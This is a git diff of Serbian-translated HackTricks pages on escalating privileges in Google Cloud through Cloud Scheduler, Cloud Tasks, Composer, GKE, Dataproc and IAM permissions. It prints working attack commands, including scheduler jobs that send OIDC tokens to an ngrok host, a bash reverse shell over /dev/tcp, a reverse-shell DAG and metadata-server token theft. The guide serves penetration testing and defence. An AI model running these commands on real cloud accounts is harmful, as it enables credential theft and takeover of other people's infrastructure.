+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md index 234dad5ed..663c24359 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md @@ -10,35 +10,49 @@ Više informacija u: ../gcp-services/gcp-cloud-scheduler-enum.md {{#endref}} -### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) +### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) -Napadač sa ovim dozvolama mogao bi da iskoristi **Cloud Scheduler** da **autentifikuje cron poslove kao određeni Service Account**. Kreiranjem HTTP POST zahteva, napadač zakazuje akcije, poput kreiranja Storage bucket-a, da se izvrše pod identitetom Service Account-a. Ova metoda koristi **Scheduler-ovu sposobnost da cilja `*.googleapis.com` krajnje tačke i autentifikuje zahteve**, omogućavajući napadaču da direktno manipuliše Google API krajnjim tačkama koristeći jednostavnu `gcloud` komandu. +Napadač sa ovim dozvolama može iskoristiti **Cloud Scheduler** da **autentifikuje cron jobs kao određeni Service Account**. Kreiranjem HTTP POST zahteva, napadač zakazuje akcije, poput kreiranja Storage bucket-a, koje će se izvršavati pod identitetom tog Service Account-a. Ova metoda koristi **mogućnost Scheduler-a da cilja `*.googleapis.com` endpoint-e i autentifikuje zahteve**, omogućavajući napadaču da direktno manipuliše Google API endpoint-ima koristeći jednostavnu `gcloud` komandu. -- **Kontaktirajte bilo koji google API putem `googleapis.com` sa OAuth token header-om** +- **Kontaktirajte bilo koji google API preko `googleapis.com` koristeći OAuth token header** Kreirajte novi Storage bucket: + +
Create Cloud Scheduler job to create GCS bucket via API ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ``` -Da bi eskalirao privilegije, **napadač jednostavno kreira HTTP zahtev koji cilja željeni API, imitujući određeni servisni nalog** +
-- **Ekstraktuj OIDC token servisnog naloga** +Da bi eskalirao privilegije, **attacker jednostavno sastavlja HTTP zahtev koji cilja željeni API, imitirajući navedeni Service Account** + +- **Exfiltrate OIDC service account token** + +
Kreiraj Cloud Scheduler job za exfiltrate OIDC token ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` -Ako treba da proverite HTTP odgovor, možete samo **pogledati logove izvršenja**. +
-### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) +Ako treba da proverite HTTP odgovor, možete jednostavno **pogledati logove izvršenja**. -Kao u prethodnom scenariju, moguće je **ažurirati već kreirani scheduler** da biste ukrali token ili izvršili akcije. Na primer: +### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) + +Kao u prethodnom scenariju, moguće je **ažurirati već kreiran Cloud Scheduler job** da ukradete token ili izvršite akcije. Na primer: + +
Ažurirajte postojeći Cloud Scheduler job to exfiltrate OIDC token ```bash gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` -Još jedan primer za otpremanje privatnog ključa na SA i njegovu imitaciju: +
+ +Još jedan primer kako otpremiti privatni ključ na SA i preuzeti njegov identitet: + +
Otpremi privatni ključ na Service Account preko Cloud Scheduler i preuzmi njegov identitet ```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ @@ -102,6 +116,8 @@ EOF # Activate the generated key gcloud auth activate-service-account --key-file=/tmp/lab.json ``` +
+ ## Reference - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md index 6b77c3bed..321f7e145 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md @@ -6,7 +6,9 @@ ### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` -Napadač sa ovim dozvolama može **imitirati druge servisne naloge** kreiranjem zadataka koji se izvršavaju sa identitetom specificiranog servisnog naloga. Ovo omogućava slanje **autentifikovanih HTTP zahteva ka IAM-zaštićenim Cloud Run ili Cloud Functions** servisima. +Napadač sa ovim permisijama može **impersonate other service accounts** kreiranjem Cloud Tasks koji se izvršavaju pod identitetom specificiranog service account-a. Ovo omogućava slanje **autentifikovanih HTTP zahteva ka IAM-zaštićenim Cloud Run ili Cloud Functions servisima**. + +
Kreiraj Cloud Task sa service account impersonation ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ @@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ``` +
+ ### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` -Napadač sa ovim dozvolama može **izvršavati postojeće zakazane zadatke** bez da ima dozvole na servisnom nalogu povezanom sa zadatkom. Ovo omogućava izvršavanje zadataka koji su prethodno kreirani sa servisnim nalozima sa višim privilegijama. +Napadač sa ovim dozvolama može **pokretati postojeće zakazane zadatke** bez dozvola na servisnom nalogu povezanom sa zadatkom. Ovo omogućava izvršavanje zadataka koji su prethodno kreirani pomoću servisnih naloga sa većim privilegijama. + +
Pokretanje postojećeg Cloud Task-a bez actAs dozvole ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ``` -Glavni koji izvršava ovu komandu **ne treba `iam.serviceAccounts.actAs` dozvolu** na servisnom nalogu zadatka. Međutim, ovo samo omogućava pokretanje postojećih zadataka - ne daje mogućnost kreiranja ili modifikovanja zadataka. +
+ +Principал који извршава ову команду **не мора да има `iam.serviceAccounts.actAs` дозволу** на сервисном налогу задатка. Међутим, ово дозвољава само покретање постојећих задатака — не даје могућност креирања или измене задатака. ### `cloudtasks.queues.setIamPolicy` -Napadač sa ovom dozvolom može **dodeliti sebi ili drugim glavnim Cloud Tasks uloge** na specifičnim redovima, potencijalno se uzdižući na `roles/cloudtasks.admin` koja uključuje mogućnost kreiranja i pokretanja zadataka. +Нападач који има ову дозволу може да **додели себи или другим принципалима Cloud Tasks улоге** на одређеним редовима, потенцијално ескалирајући до `roles/cloudtasks.admin` која укључује могућност креирања и покретања задатака. + +
Dodeli Cloud Tasks administratorsku ulogu na redu ```bash gcloud tasks queues add-iam-policy-binding \ \ @@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ``` -Ovo omogućava napadaču da dodeli pune administratorske dozvole za Cloud Tasks na redu bilo kojem servisnom nalogu koji kontroliše. +
+ +Ovo omogućava napadaču da dodeli pune Cloud Tasks admin permissions na redu bilo kojem service account-u kojim upravlja. ## References diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md index ffc854e5c..5c3bc92a0 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md @@ -12,18 +12,24 @@ Više informacija u: ### `composer.environments.create` -Moguće je **priključiti bilo koji servisni nalog** na novokreirano composer okruženje sa tom dozvolom. Kasnije možete izvršiti kod unutar composera da biste ukrali token servisnog naloga. +Moguće je **prikačiti bilo koji service account** na novo kreirano composer okruženje sa tom permisijom. Kasnije možete izvršiti kod unutar composer okruženja kako biste ukrali token service accounta. + +
Kreiranje Composer okruženja sa prikačenim service account-om ```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ``` -Više informacija o eksploataciji [**ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh). +
+ +Više informacija o eksploataciji [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh). ### `composer.environments.update` -Moguće je ažurirati composer okruženje, na primer, modifikovanjem env varijabli: +Moguće je ažurirati Composer environment, na primer, izmenom env varijabli: + +
Ažuriranje Composer env varijabli za izvršavanje koda ```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ @@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0 {"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}} ``` +
+ TODO: Dobiti RCE dodavanjem novih pypi paketa u okruženje -### Preuzmi Dags +### Preuzimanje DAGs -Proverite izvorni kod dags-a koji se izvršavaju: +Proverite izvorni kod DAGs koji se izvršavaju: + +
Izvezi i preuzmi DAGs iz Composer okruženja ```bash mkdir /tmp/dags gcloud composer environments storage dags export --environment --location --destination /tmp/dags ``` -### Uvoz Dags +
-Dodajte python DAG kod u datoteku i uvezite ga pokretanjem: +### Uvoz DAG-ova + +Dodajte python DAG code u fajl i importujte ga pokretanjem: + +
Uvezi zlonamerni DAG u Composer okruženje ```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ``` -Обратни shell DAG: -```python:reverse_shell.py +
+ +Reverse shell DAG: + +
Python DAG code for reverse shell +```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator @@ -94,22 +112,24 @@ depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False) ``` -### Write Access to the Composer bucket +
-Sve komponente okruženja kompozitora (DAG-ovi, dodaci i podaci) se čuvaju unutar GCP bucket-a. Ako napadač ima dozvole za čitanje i pisanje, mogao bi da prati bucket i **kada god se DAG kreira ili ažurira, pošalje verziju sa backdoor-om** tako da okruženje kompozitora preuzme verziju sa backdoor-om iz skladišta. +### Pristup za pisanje na Composer bucket -Get more info about this attack in: +Svi delovi Composer okruženja (DAGs, plugins i data) su pohranjeni u GCP bucket-u. Ako napadač ima permisije za čitanje i pisanje nad njim, može pratiti bucket i **kad god se kreira ili ažurira DAG, poslati verziju sa backdoor-om** tako da će Composer okruženje iz storage-a preuzeti tu kompromitovanu verziju. + +Više informacija o ovom napadu potražite u: {{#ref}} gcp-storage-privesc.md {{#endref}} -### Import Plugins +### Uvoz pluginova -TODO: Check what is possible to compromise by uploading plugins +TODO: Proveriti šta je moguće kompromitovati otpremanjem pluginova -### Import Data +### Uvoz podataka -TODO: Check what is possible to compromise by uploading data +TODO: Proveriti šta je moguće kompromitovati otpremanjem podataka {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md index 895999cf0..f6056f1c1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -6,16 +6,22 @@ ### `container.clusters.get` -Ova dozvola omogućava **prikupljanje kredencijala za Kubernetes klaster** koristeći nešto poput: +Ovo dopuštenje omogućava **prikupljanje kredencijala za Kubernetes cluster** koristeći nešto poput: + +
Preuzmi kredencijale za Kubernetes cluster ```bash gcloud container clusters get-credentials --zone ``` -Bez dodatnih dozvola, kredencijali su prilično osnovni jer možete **samo nabrojati neke resurse**, ali su korisni za pronalaženje pogrešnih konfiguracija u okruženju. +
+ +Bez dodatnih dozvola, kredencijali su prilično osnovni jer možete **samo navesti neke resurse**, ali su korisni za pronalaženje pogrešnih konfiguracija u okruženju. > [!NOTE] -> Imajte na umu da **kubernetes klasteri mogu biti konfigurisani da budu privatni**, što će onemogućiti pristup Kube-API serveru sa Interneta. +> Imajte na umu da **kubernetes clusters mogu biti konfigurisani kao privatni**, što će onemogućiti pristup Kube-API serveru sa Interneta. -Ako nemate ovu dozvolu, i dalje možete pristupiti klasteru, ali morate **napraviti svoj vlastiti kubectl config fajl** sa informacijama o klasterima. Novi generisani izgleda ovako: +Ako nemate ovu dozvolu, i dalje možete pristupiti clusteru, ali morate **kreirati sopstveni kubectl config file** sa informacijama o clusteru. Novo generisani izgleda ovako: + +
Primer kubectl config file for GKE cluster ```yaml apiVersion: v1 clusters: @@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}" token-key: "{.credential.access_token}" name: gcp ``` +
+ ### `container.roles.escalate` | `container.clusterRoles.escalate` -**Kubernetes** po defaultu **sprečava** principe da mogu da **kreiraju** ili **ažuriraju** **Roles** i **ClusterRoles** sa **više dozvola** nego što ih princip ima. Međutim, **GCP** princip sa tim dozvolama će moći da **kreira/ažurira Roles/ClusterRoles sa više dozvola** nego što ih ima, efikasno zaobilazeći zaštitu Kubernetes-a protiv ovog ponašanja. +**Kubernetes** po defaultu sprečava subjekte da kreiraju ili ažuriraju **Roles** i **ClusterRoles** sa većim privilegijama od onih koje subjekt poseduje. Međutim, **GCP** subjekt sa tim dozvolama će moći da kreira/ažurira Roles/ClusterRoles sa većim privilegijama nego što je imao, efektivno zaobilazeći Kubernetes zaštitu protiv ovog ponašanja. -**`container.roles.create`** i/ili **`container.roles.update`** ili **`container.clusterRoles.create`** i/ili **`container.clusterRoles.update`** su **takođe** **neophodni** za izvođenje tih akcija eskalacije privilegija. +**`container.roles.create`** i/ili **`container.roles.update`** ILI **`container.clusterRoles.create`** i/ili **`container.clusterRoles.update`** respektivno su takođe **neophodne** za izvođenje tih akcija eskalacije privilegija. ### `container.roles.bind` | `container.clusterRoles.bind` -**Kubernetes** po defaultu **sprečava** principe da mogu da **kreiraju** ili **ažuriraju** **RoleBindings** i **ClusterRoleBindings** kako bi dali **više dozvola** nego što ih princip ima. Međutim, **GCP** princip sa tim dozvolama će moći da **kreira/ažurira RoleBindings/ClusterRoleBindings sa više dozvola** nego što ih ima, efikasno zaobilazeći zaštitu Kubernetes-a protiv ovog ponašanja. +**Kubernetes** po defaultu sprečava subjekte da kreiraju ili ažuriraju **RoleBindings** i **ClusterRoleBindings** kako bi dodelili veće privilegije od onih koje subjekt ima. Međutim, **GCP** subjekt sa tim dozvolama će moći da kreira/ažurira RolesBindings/ClusterRolesBindings sa većim privilegijama nego što ih ima, efektivno zaobilazeći Kubernetes zaštitu protiv ovog ponašanja. -**`container.roleBindings.create`** i/ili **`container.roleBindings.update`** ili **`container.clusterRoleBindings.create`** i/ili **`container.clusterRoleBindings.update`** su takođe **neophodni** za izvođenje tih akcija eskalacije privilegija. +**`container.roleBindings.create`** i/ili **`container.roleBindings.update`** ILI **`container.clusterRoleBindings.create`** i/ili **`container.clusterRoleBindings.update`** respektivno su takođe **neophodne** za izvođenje tih akcija eskalacije privilegija. ### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update` -Sve ove dozvole će vam omogućiti da **kreirate ili ažurirate resurs** gde možete **definisati** **pod**. Definisanjem poda možete **navesti SA** koji će biti **priključen** i **sliku** koja će biti **pokrenuta**, tako da možete pokrenuti sliku koja će **izvući token SA na vaš server**, omogućavajući vam da eskalirate na bilo koji servisni nalog.\ +Sve ove dozvole će vam omogućiti da **kreirate ili ažurirate resurs** u kome možete definisati **pod**. Definišući pod možete specificirati **SA** koji će biti prikačen i **image** koji će biti pokrenut, pa tako možete pokrenuti image koji će **eksfiltrirati token SA** na vaš server i omogućiti vam eskalaciju na bilo koji Service Account.\ Za više informacija pogledajte: -Kao što smo u GCP okruženju, takođe ćete moći da **dobijete nodepool GCP SA** iz **metadata** servisa i **eskalirate privilegije u GCP** (po defaultu se koristi compute SA). +Pošto smo u **GCP** okruženju, takođe ćete moći da dobijete nodepool **GCP SA** iz **metadata** servisa i eskalirate privilegije u **GCP** (po defaultu se koristi compute SA). ### `container.secrets.get` | `container.secrets.list` -Kao što je [**objašnjeno na ovoj stranici**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) sa ovim dozvolama možete **čitati** **tokene** svih **SA-ova u Kubernetes-u**, tako da možete eskalirati na njih. +Kao [**objašnjeno na ovoj stranici**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)sa ovim dozvolama možete **čitati tokene** svih **Kubernetes SA**, tako da možete eskalirati na njih. ### `container.pods.exec` -Sa ovom dozvolom moći ćete da **izvršite u podovima**, što vam daje **pristup** svim **Kubernetes SA-ovima koji rade u podovima** za eskalaciju privilegija unutar K8s, ali takođe ćete moći da **ukradete** **GCP servisni nalog** **NodePool-a**, **eskalirajući privilegije u GCP**. +Sa ovom dozvolom moći ćete da **exec** u **pods**, što vam daje **pristup** svim **Kubernetes SA** koji rade u pod-ovima da eskalirate privilegije unutar **K8s**, ali takođe ćete moći da **ukradete GCP Service Account** od **NodePool-a**, eskalirajući privilegije u **GCP**. ### `container.pods.portForward` -Kao što je **objašnjeno na ovoj stranici**, sa ovim dozvolama možete **pristupiti lokalnim servisima** koji rade u **podovima** što može omogućiti da **eskalirate privilegije u Kubernetes-u** (i u **GCP** ako nekako uspete da komunicirate sa metadata servisom)**.** +Kao **objašnjeno na ovoj stranici**, sa ovom dozvolom možete pristupiti lokalnim servisima koji rade u **pods** i koji vam mogu omogućiti eskalaciju privilegija u **Kubernetes** (i u **GCP** ako, na neki način, uspete da komunicirate sa **metadata** servisom). ### `container.serviceAccounts.createToken` -Zbog **imena** **dozvole**, **izgleda da će vam omogućiti da generišete tokene K8s servisnih naloga**, tako da ćete moći da **eskalirate na bilo koji SA** unutar Kubernetes-a. Međutim, nisam mogao da pronađem nijedan API endpoint za korišćenje, pa me obavestite ako ga pronađete. +Zbog imena dozvole, deluje da će vam omogućiti da generišete tokene **K8s Service Account**-a, pa biste mogli da privesc na bilo koji **SA** unutar **Kubernetes**. Međutim, nisam pronašao nijedan **API endpoint** za njenu upotrebu, pa javite ako ga nađete. ### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update` -Ove dozvole bi mogle omogućiti eskalaciju privilegija u Kubernetes-u, ali verovatnije je da biste ih mogli zloupotrebiti da **persistirate u klasteru**.\ -Za više informacija [**pratite ovaj link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller). +Ove dozvole mogu omogućiti eskalaciju privilegija u **Kubernetes**, ali mnogo verovatnije ih možete zloupotrebiti da biste se **persistirali u klasteru**.\ +Za više informacija [pogledajte ovaj link](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index d124e11b5..49945db64 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -1,4 +1,4 @@ -# GCP Dataproc Privilege Escalation +# GCP Dataproc Eskalacija privilegija {{#include ../../../banners/hacktricks-training.md}} @@ -10,17 +10,19 @@ ### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` -Nisam mogao da dobijem reverznu školjku koristeći ovu metodu, međutim, moguće je da se iscuri SA token sa metadata endpoint-a koristeći metodu opisanu u nastavku. +Nisam uspeo da dobijem reverse shell koristeći ovu metodu, međutim moguće je leak SA token sa metadata endpoint-a koristeći metodu opisanu ispod. -#### Koraci za eksploataciju +#### Koraci za iskorišćavanje -- Postavite skriptu posla na GCP Bucket +- Postavite job skriptu u GCP Bucket -- Pošaljite posao na Dataproc klaster. +- Podnesite job na Dataproc klaster. -- Koristite posao za pristup metadata serveru. +- Iskoristite job da pristupite metadata serveru. -- Iscurite token servisnog naloga koji koristi klaster. +- Leak SA token koji koristi klaster. + +
Python skripta za preuzimanje SA token-a sa metadata servera ```python import requests @@ -41,7 +43,9 @@ return None if __name__ == "__main__": fetch_metadata_token() ``` +
+
Pošaljite zlonamerni job na Dataproc klaster ```bash # Copy the script to the storage bucket gsutil cp gs:/// @@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs:/// \ --cluster= \ --region= ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index c198feaa3..367d2ee0c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -Pronađite više informacija o IAM-u u: +Više informacija o IAM-u: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md @@ -12,40 +12,54 @@ Pronađite više informacija o IAM-u u: ### `iam.roles.update` (`iam.roles.get`) -Napadač sa pomenutim dozvolama će moći da ažurira ulogu dodeljenu vama i da vam dodeli dodatne dozvole za druge resurse kao što su: +Napadač sa navedenim dozvolama moći će da izmeni rolu vama dodeljenu i dodeli vam dodatne dozvole za druge resurse kao što su: + +
Ažuriraj IAM rolu da dodaš dozvole ```bash gcloud iam roles update --project --add-permissions ``` -Možete pronaći skriptu za automatizaciju **kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde** i python skriptu za zloupotrebu ovog privilegija [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija proverite [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
+ +Možete pronaći skript koji automatizuje **creation, exploit and cleaning of a vuln environment here** i python skript za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Napadač sa pomenutim dozvolama će moći da **zatraži pristupni token koji pripada Servisnom Nalog**, tako da je moguće zatražiti pristupni token Servisnog Naloga sa više privilegija nego što su naše. +Napadač sa pomenutim permisijama može da zatraži **access token that belongs to a Service Account**, pa je moguće dobiti access token Service Account-a sa više privilegija od naših. + +
Impersonate service account to get access token ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i Python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija proverite [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
+ +Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Napadač sa pomenutim dozvolama će moći da **kreira ključ koji upravlja korisnikom za Service Account**, što će nam omogućiti pristup GCP-u kao taj Service Account. +Napadač sa pomenutim dozvolama može da **kreira korisnički upravljani ključ za servisni nalog**, što će nam omogućiti pristup GCP-u pod tim servisnim nalogom. + +
Kreiranje ključa servisnog naloga i autentifikacija ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) i Python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Za više informacija pogledajte [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
-Napomena: **`iam.serviceAccountKeys.update` neće raditi za modifikaciju ključa** SA jer su za to potrebne i dozvole `iam.serviceAccountKeys.create`. +Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). + +Imajte na umu da **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA jer je za to takođe potrebna dozvola `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Ako imate **`iam.serviceAccounts.implicitDelegation`** dozvolu na Servisnom Računu koji ima **`iam.serviceAccounts.getAccessToken`** dozvolu na trećem Servisnom Računu, tada možete koristiti implicitDelegation da **kreirate token za taj treći Servisni Račun**. Evo dijagrama koji pomaže u objašnjenju. +Ako imate dozvolu **`iam.serviceAccounts.implicitDelegation`** na Service Account koji ima dozvolu **`iam.serviceAccounts.getAccessToken`** na trećem Service Account-u, onda možete koristiti implicitDelegation da **kreirate token za taj treći Service Account**. Evo dijagrama koji to objašnjava. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Napomena: prema [**dokumentaciji**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacija `gcloud` funkcioniše samo za generisanje tokena koristeći [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metodu. Tako da ovde imate kako da dobijete token koristeći API direktno: +Imajte na umu da prema [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacija `gcloud` radi samo za generisanje tokena koristeći metodu [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Dakle, ovde imate kako da dobijete token koristeći API direktno: + +
Generisanje access tokena sa delegacijom koristeći API ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -56,23 +70,27 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) i python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Za više informacija pogledajte [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
